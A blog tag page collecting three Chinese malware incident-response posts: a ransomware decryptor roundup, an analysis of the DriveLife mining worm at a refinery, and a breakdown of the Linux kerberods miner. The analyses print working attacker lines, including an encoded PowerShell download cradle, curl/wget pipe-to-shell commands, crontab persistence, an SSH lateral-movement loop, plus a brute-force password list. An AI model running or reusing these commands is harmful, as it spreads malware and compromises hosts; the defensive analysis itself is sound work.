The result of tag: (3 results)

工业环境常见勒索病毒的解密工具汇总

by LauCyun May 29 00:36:00 2,234 views

本文转载于https://github.com/jiansiting/Decryption-Tools/,感谢团队成员@剑思庭的分享。

最近应急服务的时候,总是在工控用户方碰上各种勒索病毒,感染工控系统的计算机,以下为日常搜集的勒索病毒解密工具的汇总。

参考链接

...

Tags Read More


中石化某炼化厂驱动人生挖矿病毒应急响应分析报告

by LauCyun May 04 02:30:49 6,694 views

一、前言

1.1 背景

2019年4月23日,应急响应中心接到中石化某炼化厂的求助电话,有200多台DCS上位机被病毒感染。

经研究分析发现,该病毒为驱动人生挖矿病毒的一种,它通过“永恒之蓝”漏洞、暴力破解SMB服务等途径进行横向传播,随后释放挖矿木马进行挖矿操作。

2018年12月14日,该黑产团伙自从“驱动人生”系列软件升级供应链,得手之后,一直很活跃,期间不断更新调整木马攻击方式,蠕虫式传播的特点不断增强。

下表是该团伙主要活动情况的时间线:

表1 驱动人生黑产团伙活动时间线

序号 时间 木马行为变化
1 2018年12月14日 利用“驱动人生”系列软件升级通道下发,利用“永恒之蓝”漏洞攻击传播。
2 2018年12月19日 下发之后的木马新增PowerShell后门安装。
3 2019年1月9日 检测到挖矿组件xmrig-32.mlz/xmrig-64.mlz下载。
4 2019年1月24日 木马将挖矿组件、升级后门组件分别安装为计划任务,并同时安装PowerShell后门。
5 2019年1月25日 木马在1月24日的基础上再次更新,将攻击组件安装为计划任务,在攻击时新增利用mimikatz搜集登录密码,SMB弱口令爆破攻击,同时安装PowerShell计划任务和mshta计划任务。
6 2019年2月10日 将攻击模块打包方式改为Pyinstaller。
7 2019年2月20日 更新矿机组件,下载释放XMRig矿机,以独立进程启动挖矿。
8 2019年2月23日 攻击方法再次更新,新增MS SQL爆破攻击。
9 2019年2月25日 在2月23日基础上继续更新,更新MS SQL爆破攻击时密码字典,添加样本文件签名。至此攻击方法集成永恒之蓝漏洞攻击、SMB爆破攻击、MsSQL爆破攻击,同时使用黑客工具mimiktaz、psexec进行辅助攻击。
10 2019年3月28日 在2月25日基础上继续更新,更新创建flashplayer.tmp快捷方式并开机自启动增加感染几率。除CPU挖矿外,还将下载显卡挖矿相关的驱动,使用显卡进行挖矿。

由此可见,中石化某炼化厂的病毒比较符合2019年2月10日版本。

1.2 术语表

定义本报告中涉及的重要术语,为读者在阅读报告时提供必要的参考信息。

表2 术语表

序号 术语或缩略语 说明性定义
1 mimikatz mimikatz是由C语言编写的开源小工具,它的功能非常强大,支持从Windows系统内存中提取明文密码、哈希、PIN码和Kerberos凭证,以及pass-the-hash、pass-the-ticket、build Golden tickets等数种黑客技术。
2 PowerShell Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。
3 PSEXEC psexec是一个远程执行工具,你可以像使用telnet一样使用它。
4 Pyinstaller PyInstaller是一个将Python程序及其所有依赖项捆绑到一个包中,用户无需安装Python解释器或任何模块即可运行打包的应用程序。
5 Python Python是一种计算机程序设计语言。是一种面向对象的动态类型语言,最初被设计用于编写自动化脚本(shell),随着版本的不断更新和语言新功能的添加,越来越多被用于独立的、大型项目的开发。
6 驱动人生 驱动人生是一款免费的驱动管理软件,实现智能检测硬件并自动查找安装驱动,为用户提供最新驱动更新,本机驱动备份、还原和卸载等功能。
7 永恒之蓝 永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。

二、病毒特征

2.1 病毒文件

当前版本病毒感染过程中,所产生的病毒文件如下表所示:

表3 病毒相关文件

序号 文件位置及名称 功能与作用
1 C:\Windows\system32\svhost.exe 主程序。
2 C:\Windows\SysWOW64\svhost.exe
3 C:\Windows\system32\drivers\svchost.exe
4 C:\Windows\SysWOW64\drivers\svchost.exe
5 C:\Windows\temp\svvhost.exe 横向传播程序。
6 C:\Windows\temp\svchost.exe
7 C:\Windows\system32\wmiex.exe 后门程序。
8 C:\Windows\SysWOW64\wmiex.exe
9 C:\Windows\system32\drivers\taskmgr.exe 任务管理器伪装程序。
10 C:\Windows\SysWOW64\drivers\taskmgr.exe
11 C:\Windows\temp\m.ps1 mimikatz程序。
12 C:\Windows\temp\mkatz.ini mimikatz结果。
13 C:\Windows\temp\p.bat “永恒之蓝”漏洞横向传播产生的脚本文件。
14 C:\installed.exe “永恒之蓝”漏洞横向传播的主程序。
15 $env:temp\update.exe 主程序的更新文件。

2.2 系统服务

当前版本病毒共安装两个服务,分别是Ddriver、WebServers。

2.2.1 Ddriver

服务Ddriver主要是用于启动主程序,该程序负责启动攻击模块以及接受云控指令,其服务信息如下:

  • 服务名:Ddriver
  • 可执行文件路径:
    • 32位:C:\Windows\system32\drivers\svchost.exe
    • 64位:C:\Windows\SysWOW64\drivers\svchost.exe


图1 服务Ddriver(注:本图为后期复现所截)

2.2.2 WebServers

服务WebServers主要是用于启动后门程序wmiex.exe,该程序负责下载其他文件、上报信息、管理服务进程,其服务信息如下:

  • 服务名:WebServers
  • 可执行文件路径:
    • 32位:C:\Windows\system32\wmiex.exe
    • 64位:C:\Windows\SysWOW64\wmiex.exe


图2 服务WebServers(注:本图为后期复现所截)

2.3 计划任务

当前版本病毒共安装四个计划任务,如下图所示:

图3 计划任务

2.3.1 Ddrivers

计划任务Ddrivers是负责启动主模块,指向服务Ddriver相同文件,其特征如下:

  • 计划任务名:Ddrivers
  • 启动路径:cmd.exe /c C:\Windows\system32\drivers\svchost.exe
  • 触发器:在首次触发后,无限期地每隔00:50:00重复一次

2.3.2 DnsScan

计划任务DnsScan是负责启动攻击模块,该模块利用永恒之蓝漏洞、SMB弱口令爆破、PSEXEC、MimiKatz等多种方式进行攻击,其特征如下:

  • 计划任务名:DnsScan
  • 启动程序:C:\Windows\Temp\svchost.exe
  • 触发器:在首次触发后,无限期地每隔1小时重复一次

2.3.3 WebServers

计划任务WebServers是负责启动后门程序wmiex.exe,指向服务WebServers相同程序,其特征如下:

  • 计划任务名:WebServers
  • 启动程序:cmd.exe /c C:\Windows\system32\wmiex.exe
  • 触发器:在首次触发后,无限期地每隔00:50:00重复一次

2.3.4 Bluetooths

计划任务\Microsoft\windows\Bluetooths是负责下载执行远程Powershell指令,其特征如下:

  • 计划任务名:Bluetooths
  • 启动程序:powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjA
    HQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0A
    HIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnA
    CsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=
  • 触发器:在首次触发后,无限期地每隔00:50:00重复一次

解密后的命令为:powershell -ep bypass –e IEX (New-Object Net.WebClient).downloadstring('http://v.beahh.com/v'+$env:USERDOMAIN))

三、手工清除方法

3.1 计划任务或服务

需删除计划任务,结束病毒进程并删除服务,具体如下:

  • 删除名为Ddrivers和WebServers的计划任务;
  • 删除名为DnsScan的计划任务;
  • 删除名为\Microsoft\Windows\Bluetooths的计划任务;
  • 结束名为wmiex.exe进程以及描述为“svchost”的svchost进程。通常正常的svchost进程描述为“Windows服务主进程”;
  • 删除名为Ddriver和WebServers的服务项。

3.2 病毒文件

需删除下载或释放的病毒文件,路径如下:

  • C:\Windows\system32\svhost.exe或C:\Windows\SysWOW64\svhost.exe
  • C:\Windows\system32\drivers\svchost.exe或C:\Windows\SysWOW64\drivers\svchost.exe
  • C:\Windows\temp\svvhost.exe或C:\Windows\temp\svchost.exe
  • C:\Windows\system32\wmiex.exe或C:\Windows\SysWOW64\wmiex.exe
  • C:\Windows\system32\drivers\taskmgr.exe或C:\Windows\SysWOW64\drivers\taskmgr.exe
  • C:\Windows\temp\m.ps1
  • C:\Windows\temp\mkatz.ini
  • C:\Windows\temp\p.bat
  • C:\installed.exe
  • $env:temp\update.exe

3.3 注册表

需删除病毒创建的注册表项:

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Ddriver
  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WebServers

3.4 防火墙或端口转发

需删除病毒设置的防火墙栏目有:

  • 删除入站规则名为UDP,开放65532端口的规则;
  • 删除入站规则名为UDP2,开放65531端口的规则;
  • 删除入站规则名为ShareService,开放65533端口的规则;

需删除病毒设置的端口转发的设置,CMD管理员执行如下命令:

  • netsh interface portproxy delete v4tov4 listenport=65531
  • netsh interface portproxy delete v4tov4 listenport=65532

四、病毒分析

4.1 主程序

在C:\Windows\system32\drivers目录中发现主程序svchost.exe,将其拖进IDA进行反编译。

4.1.1 释放并配置

主程序启动后首先尝试启动名为Ddriver的服务进程,如果主机已经被感染则直接执行服务函数进行挖矿等恶意行为,如果主机是初次被感染则执行感染配置行为。


图4 主函数入口

然后,检查自身名称是否为svhost或者svchost.exe,如果程序名称不为svhost或者svchost.exe则从资源节中解密释放PE文件,最终在磁盘中释放路径为C:\Windows\temp\ttt.exe,释放完成后便执行该文件。


图5 释放主程序中102号资源文件


图6 加密状态的102号资源文件

释放执行ttt.exe文件后便多次使用cmd命令清理系统原来感染的老版本的挖矿程序,为新版挖矿程序的安装和运行清理环境。


图7 结束或删除老版的挖矿程序

设置Windows防火墙开启65531,65532,65533端口,在防火墙规则中分别命名为UDP2,UDP,ShareService,同时开启端口转发,将来自65532端口的流量转发到1.1.1.1地址的53端口,将来自65531端口的流量转发到1.1.1.1地址的53端口。


图8 Windows防火墙中的增项


图9 端口代理

拷贝主程序到C:\Windows\system32\svhost.exe并设置隐藏属性,同时拷贝一份到C:\Windows\system32\drivers\svchost.exe,之后设置计划任务同时设置注册表项,实现程序的开机启动和定期触发执行。


图10 拷贝主程序文件到系统关键目录下


图11 设置计划任务和注册表项

完成上述配置后尝试使用CreateServiceA函数将C:\Windows\system32\drivers\svchost.exe注册为服务,如果服务存在则修改服务配置,如果CreateServiceA函数调用失败则使用CMD方式调用sc create创建服务,最终尝试使用net startStartServiceA函数的方式启动服务函数。


图12 创建Ddriver服务

4.1.2 挖矿

服务主函数中首先根据系统位数拼接后续将要使用到的字符串资源,包括从而已域名临时下载的文件以及解密之后的文件,和后续用来伪装成任务管理器共享进程进行挖矿操作taskmgr.exe。


图13 拼接后续需要使用的字符串

创建名为“it is holy shit”的互斥体防止进程重复启动运行,根据系统位数解密释放对应的资源文件,64位系统解密释放100号资源,32位系统解密释放101号资源,释放路径为C:\Windows\system32\drivers\taskmgr.exe(64位系统:C:\Windows\SysWOW64\drivers\taskmgr.exe)。


图14 释放taskmgr.exe文件

之后创建4个线程分别进行相关的恶意操作:

  • 根据主机中的进程和主机系统相关参数调整挖矿程序的运行状态,当用户打开任务管理器浏览时会自动关闭伪装程序taskmgr.exe,使其不被用户发现;
  • 每隔10s尝试启动C:\Windows\temp\svchost.exe(永恒之蓝漏洞攻击文件),实现内网的横向感染传播;
  • 使用Wmic命令,每10秒对进程进行一次检查,触发时将结束挖矿进程;
  • 打开监听65533端口。


图15 根据主机进程决定是否暂时关闭伪装进程


图16使用WMIC检查进程并决定是否关闭挖矿程序

释放的C:\Windows\temp\ttt.exe文件执行之后将会移动到C:\Windows\System32\wmiex.exe并设置了隐藏属性,并将其写入计划任务,任务名为WebServers,并创建服务WebServers设置为开机自启动。


图17 释放的ttt.exe文件被移动到指定路径

4.2 横向传播程序

在C:\Windows\Temp目录中发现svchost.exe文件,如下图所示:

图18 横向传播程序

右键查看其属性,如下图所示:


图19 横向传播程序文件属性

4.2.1 反编译

将svchost.exe拖进IDA进行反编译,如下图所示:


图20 横向传播程序入口函数

通过阅读汇编代码并无大发现。

接着,选择view -> open subview -> string提取文件中的字符串内容,如下图所示:


图21 字符串资源

从上图发现MSVCR90.dll、KERNEL32.dll、PYTHON27.DLL等DLL文件名字样,由此可知,该病毒是由Python编写,然后通过Pyinstaller将其打包成exe文件。

4.2.2 解包

使用工具python-exe-unpacker(下载地址:https://git.laucyun.com/security/python-exe-unpacker)对svchost.exe进行解包,如下图所示:


图22 将exe文件解包成python

解包后,共有两个文件,分别是:ii.py.py、ii.py.pyc,ii.py.py是源代码文件,ii.py.pyc是源代码编译后文件。

Python程序ii.py.py的程序结构如下图所示:


图23 横向传播程序的结构

4.2.3 传播过程

通过阅读与分析Python程序ii.py.py,其横向传播过程如下图所示:

图24 横向传播过程

从上图可知,首先svchost.exe会绑定本机60124端口,它的作用可能是互斥体,系统中只允许运行一个svchost.exe。

然后,svchost.exe将会检测是否存在k8h3d这个用户,如果存在,则删除。


图25 删除k8h3d用户

然后,svchost.exe将会检测本机是否已感染,如果本机已经被感染,则读取本地病毒文件。


图26 检测本机是否感染

然后,svchost.exe将会创建计划任务,如果本机存在powershell,则创建DnsScan、\Microsoft\windows\Bluetooths两个任务;反之,则创建Autocheck、Autoscan两个任务。

需要说明的是,计划任务Autocheck的作用是每隔50分钟就从http://w.beahh.com/page.html?p%COMPUTERNAME%下载病毒程序;计划任务Autoscan的作用是每隔50分钟就执行C:\Windows\temp\svchost.exe程序。

图27 利用mimikatz提取内存中的密码和凭证

然后,svchost.exe将会释放出C:\Windows\temp\m.ps1脚本文件,它是一个powershell版本的mimikatz程序,通过分析发现它和https://github.com/DanMcInerney/Invoke-Cats/blob/master/Invoke-Cats.ps1的代码一致。

然后,svchost.exe将会运作C:\Windows\temp\m.ps1,它的作用主要是从系统内存中提取明文密码、哈希、PIN码和Kerberos等凭证。最后将结果保存至C:\Windows\temp\mkatz.ini,如下图所示:


图28 提取出的密码信息

然后,svchost.exe将会通过wmic ntdomain get domainname命令,检测本机是否加域。如果加域的话,将域的用户名和密码加入到破解口令列表中。

然后,svchost.exe将会调用find_ip函数,通过ipconfig /allnetstat -na两个命令获取当前主机的ip、网段等信息。

图29 获取IP或IP段

接下来将开始横向传播,其横向传播的方式为SMB爆破、“永恒之蓝”利用两种。


图30 爆破SMB服务

第一种横向传播方式是先调用scansmb这个函数,这个函数调用scan2函数去检测目标主机是否开放445、65533端口。

如果目标主机打开了65533端口,则说明已被感染。反之,将会调用validate函数进行横向传播。


图31 通过SMB服务横向传播

validate函数主要作用是通过弱口令列表,对目标主机进行SMB服务爆破。如果爆破成功,将本横向传播程序复制到被攻击的主机中并运行。

除此之外,svchost.exe将会通过“永恒之蓝”漏洞进行传播。

图32 “永恒之蓝”漏洞横向传播

第二种横向传播方式是先调用check_thread函数,然后这个函数调用check_ip函数利用“永恒之蓝”漏洞传播,其代码跟https://github.com/jflyup/goMS17-010/blob/master/ms17-010.py一致。

图33 利用“永恒之蓝”漏洞横向传播文件

在“永恒之蓝”漏洞利用成功后,将会调用smb_pwn函数,其作用是将本机的主程序和横向传播程序都复制到目标主机中,并执行以下命令,其作用是云行C:\installed.exe和写入C:\Windows\temp\p.bat并执行。

图34 利用“永恒之蓝”漏洞执行命令

脚本C:\Windows\temp\p.bat的主要作用有:

  • 命令netsh interface ipv6 install是安装ipv6;
  • 命令netsh firewall add portopening tcp 65532 DNS2是修改防火墙并打开65532端口;
  • 命令netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53是将本地65532端口转发至1.1.1.1的53端口中;
  • 同理,它将开启65531端口,并将来自65531端口的流量转发到1.1.1.1地址的53端口;
  • 随后将创建\Microsoft\windows\Bluetooths、Autocheck两个计划任务;
  • 随后将启动Ddriver服务;
  • 随后将获取当前cmd.exe进程数,如果大于10则重启;
  • 最后,删除k8h3d用户和C:\Windows\temp\p.bat文件。

到此为止,病毒的横向传播就结束了。

4.3 升级程序

计划任务\Microsoft\windows\Bluetooths每隔50分钟就会从http://v.beahh.com/v'+$env:USERDOMAIN下载PowerShell脚本并执行。

通过分析脚本代码,发现它是经过多层混淆,解密后的内容如下图所示:

图35 升级程序脚本

它的主要作用是:

  • 获取本机Mac地址、已安装的杀毒软件、服务zhudongfangyu运行状态等信息;
  • 判断服务Ddriver的运行状态,如果未运行,则下载病毒主程序至$env:temp\update.exe并运行;
  • 感染后,收集主机信息并发送到远程服务器,收集的信息包括主机ID,GUID,MAC地址,用户名,系统版本,系统位数,CPU型号,安装的反病毒软件等等,最终在下载下一步指令的同时将上述信息传输到远程服务器。

五、应对措施及建议

1. 卸载老版本的驱动人生程序或者更新至最新版防止攻击者下发新的恶意代码;

2. 主机使用高强度密码,切勿使用弱口令,防止黑客暴力破解;

表4 “永恒之蓝”漏洞补丁

序号 Windows系统版本 补丁编号
1 Windows 2000 SP4 无 
2 Windows XP SP3 KB4012598 
3 Windows Server 2003 SP2 KB4012598 
4 Windows Vista SP2  KB4012598 
5 Windows 7 SP1 KB4012212、KB4012215 
6 Windows Server 2008 SP2 KB4011981 
7 Windows Server 2008 R2 SP1 KB4012212、KB4012215 
8 Windows 8.1 KB4012213、KB4012216 
9 Windows Server 2012 KB4012214、KB4012217 
10 Windows Server R2 2012 KB4012213、KB4012216 
11 Windows 10 KB4012606、KB4013198、 KB4013429 
12 Windows Server 2016 KB4013429 

3. 内网使用共享的主机打上“永恒之蓝”漏洞补丁(系统版本与补丁编号对应关系如表4),防止利用此漏洞的横向攻击;

4. 内网使用共享的主机还需要打上KB2871997漏洞补丁,防止利用此漏洞的横向攻击;

5. 安装好防病毒软件并及时更新病毒库以抵抗最新恶意代码的攻击。

六、威胁指标(IOCs)

6.1 MD5

59b18d6146a2aa066f661599c496090d
30429a24f312153c0ec271ca3feabf3d
f9144118127ff29d4a49a30b242ceb55
fb89d40e24f5ff55228c38b2b07b2e77
1e0db9fdbc57525a2a5f5b4c69fac3bb
5ab6f8ca1f22d88b8ef9a4e39fca0c03

6.2 域名

v.beahh.com
w.beahh.com

6.3 IP

172.104.73.9
139.163.55.76

6.4 URL

http://v.beahh.com/v
http://w.beahh.com/page.html?p
http://172.104.73.9/dll.exe?3
http://172.104.73.9/old.json?3
http://172.104.73.9/new.json?3

6.5 弱口令

000000
111111
111111111
112233
123
123123
123123123
123321
1234
12345
123456
12345678
12345678
123456789
1234567890
123456789a
123456a
123qwe
1q2w3e4r
1qaz2wsx
5201314
654321
666666
888888
88888888
a123456
a123456789
aa123456
abc123
baseball
charlie
dragon
football
iloveyou
monkey
password
password
princess
qwe123
qwerty
sunshine
welcome
!@#$%^&*

七、参考资料

...

Tags Read More


挖矿病毒kerberods的分析和应急响应过程

by LauCyun Mar 27 00:28:29 88,050 views

最近,发生大规模挖矿事件,判断为 kerberods 病毒导致,并在第一时间进行了应急处置。

该病毒短时间内即造成大量 Linux 主机沦陷,它的传播方式分为三种,分别是:

  1. 从 known_hosts 文件读取 IP 列表,用于登录信任该主机的其他主机,并控制它们执行恶意命令;
  2. 利用 Redis 未授权访问和弱密码这两种常见的配置问题进行控制它们执行恶意命令;
  3. 利用 SSH 弱密码进行爆破,然后控制它们执行恶意命令。

这三种传播手段都不是第一次用于病毒,但结合在一起爆发出巨大的威力。

因此,本文在分析此次 kerberods 挖矿病毒、提供清理建议的同时,并针对类似的大规模入侵事件的应急和预防给出建议。

该病毒的感染路径如下图所示:


图1 kerberods感染路径

0x1 病毒特征

要判断是否感染此病毒,可从以下几个方面入手:

  1. 查看计划任务中是否存在以下任务信息:
  2. 查看/usr/sbin目录中是否有 kerberods 文件,/etc/init.d/中是否有 netdns 文件,以及/usr/local/lib/中是否有libcset.so文件:
  3. 查看是否有以下进程信息,并且正在消耗大量 CPU 资源:

如果有以上特征,则说明你已经中毒啦Smiling Face with HornsAngry Face with HornsSmiling Face with Horns

0x2 恶意脚本

病毒的传播方式中都需要执行恶意命令,那么其恶意命令的内容是啥呢?如下所示:

(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh >/dev/null 2>&1 &

可发现它是执行恶意脚本下载命令,其恶意脚本内容如下所示:

(curl -fsSL https://pastebin.com/raw/tqJjUD9d||wget -q -O- https://pastebin.com/raw/tqJjUD9d)|sed 's/\r//'|sh

又双叒叕是执行恶意脚本下载命令,通过对恶意脚本内容的分析,发现其脚本主要作用是:

  1. 将下载自身的指令添加到 crontab 定时任务,10分钟执行一次;
    echo "*/10 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh" | crontab -
  2. 杀死同类的挖矿僵尸病毒进程:
  3. 杀死 CPU 占用大于80%的其他进程;
    ps aux|grep -v grep|grep -v khugepageds|awk '{if($3>=80.0) print $2}'|xargs kill -9
  4. 下载并执行恶意程序 kerberods:
  5. 对信任当前主机的机器进行横向传播。
    if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
      for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh >/dev/null 2>&1 &' & done
    fi

接下来,将通过反编译对病毒进行分析。

0x3 针对kerberods分析

1 脱壳

通过分析发现,该病毒文件还是采用了 UPX 壳,只是对其中的魔数进行了修改,如图8所示:


图8 病毒文件的魔数

只需将其魔数修改一下即可,修改如下图所示:


图9 修改后病毒文件的魔数

修复后,使用upx -d命令进行脱壳,如下图所示:


图10 脱壳

可以看到,已经脱壳成功。

2 还原符号信息

将脱壳后的病毒文件拖进 IDA 进行反编译。

图11 IDA反编译

从图11可发现,函数名都是随机字符串,通过观察字符串可以推断出程序应该是使用 Golang 编写。

由于病毒文件去掉了符号信息,所以这里需要使用符号还原脚本对程序中的符号进行还原,脚本地址是:https://github.com/sibears/IDAGolangHelper

也可以使用@RedNaga表哥编写的脚本,脚本地址:https://github.com/strazzere/golang_loader_assist,若想了解其原理可阅读该表哥的文章《Reversing GO binaries like a pro》

Golang 的版本选择 Go1.10 后,选择重名函数名对其进行还原,如图12所示:


图12 还原函数名

还原后,如图13所示:


图13 还原符号信息

3 分析 kerberods

通过对main_main函数分析,发现它可分为两部分:main_lsdmain_attack

图14 main_lsd函数


图15 main_attack函数

先从main_lsd函数开始分析。

3.1 添加开机启动

如下图中的github_com_hippies_LSD_LSDB_NetdnsWrite函数是将/tmp/kerberods通过github_com_hippies_LSD_LSDC_CopyFile函数拷贝到/usr/sbin/kerberods中,然后在/etc/init.d/中写入netdns文件,最后通过chkconfigsystemctl命令将netdns添加为开机启动项。

图16 写入netdns,并设置为开机启动

发现netdns是一个 Bash 脚本,具体内容如下:

#! /bin/bash
#chkconfig: - 99 01
#description: kerberods daemon
#processname: /usr/sbin/kerberods
### BEGIN INIT INFO
# Provides:     /user/sbin/kerberods
# Required-Start:
# Required-Stop:
# Default-Start:        2 3 4 5
# Default-Stop:         0 1 6
# Short-Description: kerberods deamon
# Description:          kerberods deamon
### END INIT INFO

LocalPath="/usr/sbin/kerberods"
name='kerberods'
pid_file="/tmp/.X11unix"
stdout_log="/var/log/$name.log"
stderr_log="/var/log/$name.err"
get_pid(){
    cat "$pid_file"
}
is_running(){
    [ -f "$pid_file" ] &&/usr/sbin/kerberods -Pid $(get_pid) > /dev/null 2>&1
}
case "$1" in
start)
    if is_running; then
        echo "Already started"
    else
        echo "Starting $name"
        $LocalPath >>"$stdout_log" 2>> "$stderr_log" &
        echo $! > "$pid_file"
        if ! is_running; then
        echo "Unable to start, see$stdout_log and $stderr_log"
        exit 1
        fi
    fi
;;
stop)
    if is_running; then
        echo -n "Stopping$name.."
        kill $(get_pid)
        for i in {1..10}
        do
            if ! is_running; then
                break
            fi
            echo -n "."
            sleep 1
        done
        echo
        if is_running; then
            echo "Not stopped; maystill be shutting down or shutdown may have failed"
            exit 1
        else
            echo "Stopped"
            if [ -f "$pid_file"]; then
                rm "$pid_file"
            fi
        fi
    else
        echo "Not running"
    fi
;;
restart)
    $0 stop
    if is_running; then
        echo "Unable to stop, will notattempt to start"
        exit 1
    fi
    $0 start
;;
status)
    if is_running; then
        echo "Running"
    else
        echo "Stopped"
        exit 1
    fi
;;
*)
echo "Usage: $0{start|stop|restart|status}"
exit 1
;;
esac
exit 0

其是 kerberods 程序的启动、停止、重启、状态检查的管理脚本。

3.2 编译libcryptod.so

从图14可知,在 kerberods 中通过github_com_hippies_LSD_LSDB_LibWrite函数对libcryptod.c进行了编译,并将编译生成后的/usr/local/lib/libcryptod.so设置为预加载动态链接库。

图17 编译libcryptod.c

如下图是libcryptod.c的函数列表:


图18 libcryptod.c函数列表

很明显病毒是通过 hook libc.so中的函数的方式将与病毒相关的信息进行了隐藏。

比如lstat函数,具体如下:


图19 lstat函数

从上图代码可发现,它是 Hook 了系统__lxstat函数,他不能包括khugepageds、libcryptod.so等这几个字符串的文件。

其他几个命令,如readdir也是类似,无法正常返回与病毒相关的结果。

fopen函数更是变本加厉,由于系统查询cpu使用情况和端口占用情况时,都会调用fopen,于是病毒hook了这一函数,使其在读取/proc/stat/proc/net/tcp等文件时,调用伪造函数,如下图所示:


图20 fopen的Hook函数

其中forge_proc_cpu函数,将返回硬编码的字符串,如下图所示:

图21 forge_proc_cpu函数

这种对查看系统状态功能的恶意 Hook,导致用户难以通过简单自查,确定挖矿是否存在以及挖矿进程是哪个。

3.3 定时任务

从图14可知,在 kerberods 中通过github_com_hippies_LSD_LSDC_Cron函数将恶意下载命令添加到/etc/cron.d/root等多个定时任务文件中。


图22 写如定时任务

3.4 写入挖矿程序

kerberods 会通过github_com_hippies_LSD_LSDC_Getcmdnums函数对 khugepageds 的运行状态进行检测,如果未运行则通过github_com_hippies_LSD_LSDB_KWR函数释放挖矿程序 khugepageds 并运行,如下图所示:


图23 释放挖矿程序

3.5 Redis横向传播

kerberods 中关于 Redis 横向传播过程是先遍历内网 IP 和外网 IP,然后利用 Redis 未授权访问和弱密码这两种常见的配置问题进行传播,其过程涉及到的函数有:

main_main
-> main_attack
-> github_com_hippies_LSD_LSDA_Aago
-> github_com_hippies_LSD_LSDA_getiplista
-> github_com_hippies_LSD_LSDA_Aago_func1
-> github_com_hippies_LSD_LSDA_runtwo
-> github_com_hippies_LSD_LSDA_run
-> github_com_gomodule_redigo_redis_DialTimeout

通过对测试机上进行Wireshark 抓包,抓取到的 Redis 攻击行为如下图所示:


图24 扫描Redis服务

通过反编译,其核心逻辑如下图所示:


图25 Redis横向传播的逻辑

通过github_com_gomodule_redigo_redis_DialTimeout函数判断 Redis 服务器是否未授权或弱口令,如果连接成功,则执行redis --version命令进行验证,然后写入病毒下载命令,从而达到横向传播。

3.6 SSH横向传播

kerberods 中关于 SSH 横向传播是遍历内网 IP 和外网 IP,然后对 SSH 服务器进行爆破,其过程涉及到的函数有:

main_main
-> main_attack
-> github_com_hippies_LSD_LSDA_Bbgo
-> github_com_hippies_LSD_LSDA_getiplistb
-> github_com_hippies_LSD_LSDA_bgo_func1
-> github_com_hippies_LSD_LSDA_cmdtwo
-> github_com_hippies_LSD_LSDA_cmd
-> golang_org_x_crypto_ssh_Password
-> golang_org_x_crypto_ssh_Dial
-> golang_org_x_crypto_ssh__ptr_Client_NewSession

通过对测试机上进行Wireshark 抓包,抓取到的 SSH 攻击行为如下图所示:

图26 扫描SSH服务

通过反编译,其核心逻辑如下图所示:


图27 SSH横向传播的逻辑

通过golang_org_x_crypto_ssh__ptr_Client_NewSession函数创建 SSH 会话,如果创建成功,则执行病毒下载命令,从而达到横向传播。

0x4 针对khugepageds分析

通过上面的方法对 khugepageds 进行脱壳,然后拖进 IDA 中进行分析,发现它是 xmrig 挖矿系统。

xmrig项目地址:https://github.com/xmrig/xmrig

图28 xmrig挖矿系统

所以,khugepageds 就没啥好分析的,直接到 Github 看源码即可。

进一步分析,找到其钱包地址:


图29 钱包地址

其钱包地址为:

44qJYxdbuqSKarYnDSXB6KLbsH4yR65vpJe3ELLDii9i4ZgKpgQXZYR4AMJxBJbfbKZGWUxZU42QyZSsP4AyZZMbJBCrWr1

0x5 应急响应方法

1. 已针对病毒开发自动化清理脚本,​脚本地址:

https://git.laucyun.com/security/lsd_malware_clean_tool/blob/master/clear_kerberods.sh

2. 紧急情况下,为避免内网大量传播,可以临时对被感染机器先进行断网隔离处理。

3. 不影响业务的情况下,建议临时删除机器上.ssh/known_hosts和登录密钥文件。

0x6 加固建议

1 Redis加固

病毒程序是通过利用 Redis 未授权访问和弱密码进行植入,所以得做好 Redis 方面的加固,建议如下:

  1. 设置访问密码

    redis.conf中找到requirepass字段进行访问密码设置,举例配置如下:

    ​requirepass password123!@#

    确保密码的复杂度,配置完毕后重启服务即可生效。

  2. 服务运行权限最小化

    请以较低权限账号运行 Redis 服务,并禁用该账号的登录权限。以下操作创建了一个无 home 目录权限,且无法登录的普通账号:

    useradd -M -s /sbin/nologin [username]

    注意:该操作需要重启 Redis 才能生效。

  3. 隐藏重要命令

    Redis 本身是无权限分离,从而容易导致攻击者登录后可执行任意操作,因此需要隐藏以下重要命令:FLUSHDBFLUSHALLKEYSPEXPIREDELCONFIGSHUTDOWNBGREWRITEAOFBGSAVESAVESPOPSREMRENAMEDEBUGEVAL

    另外,在 Redis 2.8.1 及 Redis 3.x (低于 3.0.2) 版本下存在 EVAL 沙箱逃逸漏洞,攻击者可通过该漏洞执行任意 Lua 代码。

    下述配置将configflushdbflushall设置为空,也可设置为一些复杂的、难以猜测的名字。

    rename-command CONFIG ""
    rename-command flushall ""
    rename-command flushdb ""
    rename-command shutdown shotdown_test

    保存后,执行/etc/init.d/redis-server restart重启生效。

2 SSH加固

病毒程序是通过利用 SSH 弱密码进行植入,所以也得做好 SSH 方面的加固,建议如下:

  1. 服务器不使用默认的 22 端口

